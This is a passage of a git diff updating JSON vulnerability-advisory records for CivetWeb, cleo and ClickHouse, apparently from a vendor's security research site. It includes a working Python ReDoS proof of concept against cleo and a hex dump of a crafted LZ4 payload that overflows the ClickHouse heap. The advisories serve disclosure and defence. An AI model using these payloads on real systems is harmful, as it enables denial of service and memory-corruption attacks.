\n\n","description":"CVE-2021-44521 High severity. Insufficient sandboxing of user-defined functions in Apache Cassandra leads to remote code execution","date_published":"2022-02-15","xray_id":"XRAY-197962","vul_id":"CVE-2021-44521","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2022-02-15","cvss":8.4}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/civetweb-file-upload-rce-xray-188861/index.json b/assets/data/vulnerabilities/civetweb-file-upload-rce-xray-188861/index.json index a481140085..f049ea2f70 100644 --- a/assets/data/vulnerabilities/civetweb-file-upload-rce-xray-188861/index.json +++ b/assets/data/vulnerabilities/civetweb-file-upload-rce-xray-188861/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"CivetWeb file upload RCE","path":"/vulnerabilities/civetweb-file-upload-rce-xray-188861/","content":"Summary
\nA path traversal in CivetWeb leads to remote code execution when an attacker uploads a maliciously-named file
\nComponent
\n\nAffected versions
\nCivetWeb [1,8,1.14], fixed in 1.15
\nDescription
\nCivetWeb is a very popular embeddable web server/library that can either be used standalone or by adding web server functionality to an existing application. CivetWeb prioritizes simplicity, customizability and performance. It can also be used by end users as a stand-alone web server running on a Windows or Linux PC.
\nA path traversal issue was discovered, when accepting unsanitized filenames as part of a file upload operation.
\nThis issue only impacts CivetWeb-based web applications that use the built-in file upload form handler.\nIn technical terms, a CivetWeb-based web application is vulnerable if:
\n- \n
- The application handles HTTP form data by calling CivetWeb’s\n
mg_handle_form_requestand supplies the (mandatory) user-defined\nfield_foundcallback function \n - The
field_foundcallback function returnsMG_FORM_FIELD_STORAGE_STOREto indicate a file upload operation \n - The
field_foundcallback function supplies the (mandatory)pathoutput argument, where the path relies on thefilenameinput argument (which comes directly from the HTTP form data) \n
Note that this scenario is the standard way of using CivetWeb’s file upload functionality, and is supplied as a full working example in the embedded_c example in the CivetWeb sources.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUse a WAF to filter HTTP form file upload requests that contain the string .. in the filename form parameter
References
\n(JFrog) Directory Traversal Vulnerability Found in CivetWeb
\n\n","description":"CVE-2020-27304 critical severity. A path traversal in CivetWeb leads to remote code execution when an attacker uploads a maliciously-named file","date_published":"2021-10-19","xray_id":"XRAY-188861","vul_id":"CVE-2020-27304","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-10-19","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"CivetWeb file upload RCE","path":"/vulnerabilities/civetweb-file-upload-rce-xray-188861/","content":"Summary
\nA path traversal in CivetWeb leads to remote code execution when an attacker uploads a maliciously-named file
\nComponent
\n\nAffected versions
\nCivetWeb [1,8,1.14], fixed in 1.15
\nDescription
\nCivetWeb is a very popular embeddable web server/library that can either be used standalone or by adding web server functionality to an existing application. CivetWeb prioritizes simplicity, customizability and performance. It can also be used by end users as a stand-alone web server running on a Windows or Linux PC.
\nA path traversal issue was discovered, when accepting unsanitized filenames as part of a file upload operation.
\nThis issue only impacts CivetWeb-based web applications that use the built-in file upload form handler.\nIn technical terms, a CivetWeb-based web application is vulnerable if:
\n- \n
- The application handles HTTP form data by calling CivetWeb’s\n
mg_handle_form_requestand supplies the (mandatory) user-defined\nfield_foundcallback function \n - The
field_foundcallback function returnsMG_FORM_FIELD_STORAGE_STOREto indicate a file upload operation \n - The
field_foundcallback function supplies the (mandatory)pathoutput argument, where the path relies on thefilenameinput argument (which comes directly from the HTTP form data) \n
Note that this scenario is the standard way of using CivetWeb’s file upload functionality, and is supplied as a full working example in the embedded_c example in the CivetWeb sources.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUse a WAF to filter HTTP form file upload requests that contain the string .. in the filename form parameter
References
\n(JFrog) Directory Traversal Vulnerability Found in CivetWeb
\n\n","description":"CVE-2020-27304 critical severity. A path traversal in CivetWeb leads to remote code execution when an attacker uploads a maliciously-named file","date_published":"2021-10-19","xray_id":"XRAY-188861","vul_id":"CVE-2020-27304","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-10-19","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/cleo-redos-xray-257186/index.json b/assets/data/vulnerabilities/cleo-redos-xray-257186/index.json index 6e65bb1809..1dbcfe643b 100644 --- a/assets/data/vulnerabilities/cleo-redos-xray-257186/index.json +++ b/assets/data/vulnerabilities/cleo-redos-xray-257186/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"cleo ReDoS","path":"/vulnerabilities/cleo-redos-xray-257186/","content":"Summary
\nExponential ReDoS in cleo leads to denial of service
\nComponent
\n\nAffected versions
\ncleo (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the cleo PyPI package, when an attacker is able to supply arbitrary input to the Table.set_rows method
PoC
\nimport time\n\nfrom cleo import ui\nfrom cleo.io.buffered_io import BufferedIO\n\nfrom cleo.ui.table import Table\nfrom cleo.ui.table_cell import TableCell\nfrom cleo.ui.table_separator import TableSeparator\nfrom cleo.ui.table_style import TableStyle\nfrom cleo.ui.table_cell_style import TableCellStyle\n\n\n\n\ndef column_style(i):\n io = BufferedIO()\n table = Table(io)\n table.set_headers([\"ISBN\", \"Title\", \"Author\", \"Price\"])\n\n table.set_rows([\n [\"99921-58-10-7\", \"Divine Comedy\", \"Dante Alighieri\"],\n TableSeparator(),\n [TableCell('<0=,' + '000=0'*i + '00=0>', colspan=3,style=TableCellStyle())],\n TableSeparator(),\n [TableCell(\"Arduino: A Quick-Start Guide\", colspan=2), \"Mark Schmidt\"],\n TableSeparator(),\n [\"9971-5-0210-0\", TableCell(\"A Tale of \\nTwo Cities\", colspan=2)],\n ])\n\n style = TableStyle()\n style.set_pad_type(\"left\")\n table.set_column_style(3, style)\n table.set_column_style(2, style)\n\n table.render()\n\n\nfor i in range(1000):\n start = time.time()\n try:\n column_style(i)\n except:\n pass\n print(f\"{i}: Done in {time.time() - start}\")\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42966 Medium severity. Exponential ReDoS in cleo leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257186","vul_id":"CVE-2022-42966","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-10-15","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"cleo ReDoS","path":"/vulnerabilities/cleo-redos-xray-257186/","content":"Summary
\nExponential ReDoS in cleo leads to denial of service
\nComponent
\n\nAffected versions
\ncleo (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the cleo PyPI package, when an attacker is able to supply arbitrary input to the Table.set_rows method
PoC
\nimport time\n\nfrom cleo import ui\nfrom cleo.io.buffered_io import BufferedIO\n\nfrom cleo.ui.table import Table\nfrom cleo.ui.table_cell import TableCell\nfrom cleo.ui.table_separator import TableSeparator\nfrom cleo.ui.table_style import TableStyle\nfrom cleo.ui.table_cell_style import TableCellStyle\n\n\n\n\ndef column_style(i):\n io = BufferedIO()\n table = Table(io)\n table.set_headers([\"ISBN\", \"Title\", \"Author\", \"Price\"])\n\n table.set_rows([\n [\"99921-58-10-7\", \"Divine Comedy\", \"Dante Alighieri\"],\n TableSeparator(),\n [TableCell('<0=,' + '000=0'*i + '00=0>', colspan=3,style=TableCellStyle())],\n TableSeparator(),\n [TableCell(\"Arduino: A Quick-Start Guide\", colspan=2), \"Mark Schmidt\"],\n TableSeparator(),\n [\"9971-5-0210-0\", TableCell(\"A Tale of \\nTwo Cities\", colspan=2)],\n ])\n\n style = TableStyle()\n style.set_pad_type(\"left\")\n table.set_column_style(3, style)\n table.set_column_style(2, style)\n\n table.render()\n\n\nfor i in range(1000):\n start = time.time()\n try:\n column_style(i)\n except:\n pass\n print(f\"{i}: Done in {time.time() - start}\")\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42966 Medium severity. Exponential ReDoS in cleo leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257186","vul_id":"CVE-2022-42966","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-10-15","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/index.json b/assets/data/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/index.json index 88ab44087d..25c75d13ad 100644 --- a/assets/data/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/index.json +++ b/assets/data/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/","content":"Summary
\nA divide-by-zero in ClickHouse's Delta compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42389 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199946","vul_id":"CVE-2021-42389","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/","content":"Summary
\nA divide-by-zero in ClickHouse's Delta compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42389 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199946","vul_id":"CVE-2021-42389","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/index.json b/assets/data/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/index.json index a64a45f54c..a162b44642 100644 --- a/assets/data/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/index.json +++ b/assets/data/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/","content":"Summary
\nA divide-by-zero in ClickHouse's DoubleDelta compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42390 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199947","vul_id":"CVE-2021-42390","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/","content":"Summary
\nA divide-by-zero in ClickHouse's DoubleDelta compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42390 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199947","vul_id":"CVE-2021-42390","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/index.json b/assets/data/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/index.json index ebbb7ef97c..1b83a6c2b4 100644 --- a/assets/data/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/index.json +++ b/assets/data/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/","content":"Summary
\nA divide-by-zero in ClickHouse's Gorilla compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42391 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199948","vul_id":"CVE-2021-42391","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse Divide-by-zero DoS","path":"/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/","content":"Summary
\nA divide-by-zero in ClickHouse's Gorilla compression codec can allow an authenticated network attacker to perform denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted compressed data to ClickHouse.\nTriggering the issue will crash the ClickHouse process, causing denial of service.
\nThe ClickHouse decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:
\nUInt8 bytes_size = source[0];\nUInt8 bytes_to_skip = uncompressed_size % bytes_size;\nIn case bytes_size is 0, it will end up dividing by zero.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42391 Medium severity. Divide-by-zero in ClickHouse leads to denial of service","date_published":"2022-03-15","xray_id":"XRAY-199948","vul_id":"CVE-2021-42391","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":6.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/index.json b/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/index.json index d7af10082c..20cf6f18f7 100644 --- a/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/index.json +++ b/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse LZ4 OOB-R","path":"/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/","content":"Summary
\nA heap out-of-bounds read in ClickHouse can allow an authenticated network attacker to perform information leakage and denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nAccessing memory outside of the buffer’s bounds can expose sensitive information or lead in certain cases to a crash of the application due to segmentation fault.
\nAs part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value (offset) is read from the compressed_data. it is subtracted from the current op and stored in match pointer (op is a pointer that starts as dest and moves forward). There is no verification that the match pointer is not smaller than dest. Later, there’s a copy operation from match to output pointer - possibly copying out of bounds memory from before the dest memory buffer.
CVE-2021-42387 is a similar vulnerability to CVE-2021-42388, which exceeds the upper bounds of the compressed buffer (source) as part of the copy operation.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42388 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service","date_published":"2022-03-15","xray_id":"XRAY-199962","vul_id":"CVE-2021-42388","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":7.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse LZ4 OOB-R","path":"/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/","content":"Summary
\nA heap out-of-bounds read in ClickHouse can allow an authenticated network attacker to perform information leakage and denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nAccessing memory outside of the buffer’s bounds can expose sensitive information or lead in certain cases to a crash of the application due to segmentation fault.
\nAs part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value (offset) is read from the compressed_data. it is subtracted from the current op and stored in match pointer (op is a pointer that starts as dest and moves forward). There is no verification that the match pointer is not smaller than dest. Later, there’s a copy operation from match to output pointer - possibly copying out of bounds memory from before the dest memory buffer.
CVE-2021-42387 is a similar vulnerability to CVE-2021-42388, which exceeds the upper bounds of the compressed buffer (source) as part of the copy operation.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42388 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service","date_published":"2022-03-15","xray_id":"XRAY-199962","vul_id":"CVE-2021-42388","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":7.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/index.json b/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/index.json index a7ba36fe4f..0c493ddd1f 100644 --- a/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/index.json +++ b/assets/data/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse LZ4 OOB-R","path":"/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/","content":"Summary
\nA heap out-of-bounds read in ClickHouse can allow an authenticated network attacker to perform information leakage and denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nAccessing memory outside of the buffer’s bounds can expose sensitive information or lead in certain cases to a crash of the application due to segmentation fault.
\nAs part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value (offset) is read from the compressed_data. it is subtracted from the current op and stored in match pointer (op is a pointer that starts as dest and moves forward). There is no verification that the match pointer is not smaller than dest. Later, there’s a copy operation from match to output pointer - possibly copying out of bounds memory from before the dest memory buffer.
CVE-2021-42388 is a similar vulnerability to CVE-2021-42387, which exceeds the lower bounds of the compressed buffer (source) as part of the copy operation.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42387 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service","date_published":"2022-03-15","xray_id":"XRAY-199963","vul_id":"CVE-2021-42387","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":7.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse LZ4 OOB-R","path":"/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/","content":"Summary
\nA heap out-of-bounds read in ClickHouse can allow an authenticated network attacker to perform information leakage and denial of service
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nA low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nAccessing memory outside of the buffer’s bounds can expose sensitive information or lead in certain cases to a crash of the application due to segmentation fault.
\nAs part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value (offset) is read from the compressed_data. it is subtracted from the current op and stored in match pointer (op is a pointer that starts as dest and moves forward). There is no verification that the match pointer is not smaller than dest. Later, there’s a copy operation from match to output pointer - possibly copying out of bounds memory from before the dest memory buffer.
CVE-2021-42388 is a similar vulnerability to CVE-2021-42387, which exceeds the lower bounds of the compressed buffer (source) as part of the copy operation.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-42387 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service","date_published":"2022-03-15","xray_id":"XRAY-199963","vul_id":"CVE-2021-42387","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":7.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199960/index.json b/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199960/index.json index 1949885724..3f790764a2 100644 --- a/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199960/index.json +++ b/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199960/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse LZ4 RCE","path":"/vulnerabilities/clickhouse-lz4-rce-xray-199960/","content":"Summary
\nA heap overflow in ClickHouse can allow an authenticated network attacker to perform remote code execution
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nThere is no verification that the copy operations in the LZ4::decompressImpl loop and especially the arbitrary copy operation wildCopy<copy_amount>(op, ip, copy_end), don’t exceed the destination buffer’s limits. Note that the lengths of the overflow, as well as source’s allocation size and the overflowing byte contents are fully controlled by the user. Also note that specifically this size check happens after the copy operation while the other copy operations aren’t covered at all.
A low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nThis issue is very similar to CVE-2021-43304, but the vulnerable copy operation is in a different wildCopy call.
PoC
\nMore info in JFrog's Blogpost -
\n00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a
Vulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-43305 High severity. Heap overflow in ClickHouse leads to remote code execution","date_published":"2022-03-15","xray_id":"XRAY-199960","vul_id":"CVE-2021-43305","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":8.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse LZ4 RCE","path":"/vulnerabilities/clickhouse-lz4-rce-xray-199960/","content":"Summary
\nA heap overflow in ClickHouse can allow an authenticated network attacker to perform remote code execution
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nThere is no verification that the copy operations in the LZ4::decompressImpl loop and especially the arbitrary copy operation wildCopy<copy_amount>(op, ip, copy_end), don’t exceed the destination buffer’s limits. Note that the lengths of the overflow, as well as source’s allocation size and the overflowing byte contents are fully controlled by the user. Also note that specifically this size check happens after the copy operation while the other copy operations aren’t covered at all.
A low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nThis issue is very similar to CVE-2021-43304, but the vulnerable copy operation is in a different wildCopy call.
PoC
\nMore info in JFrog's Blogpost -
\n00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a
Vulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
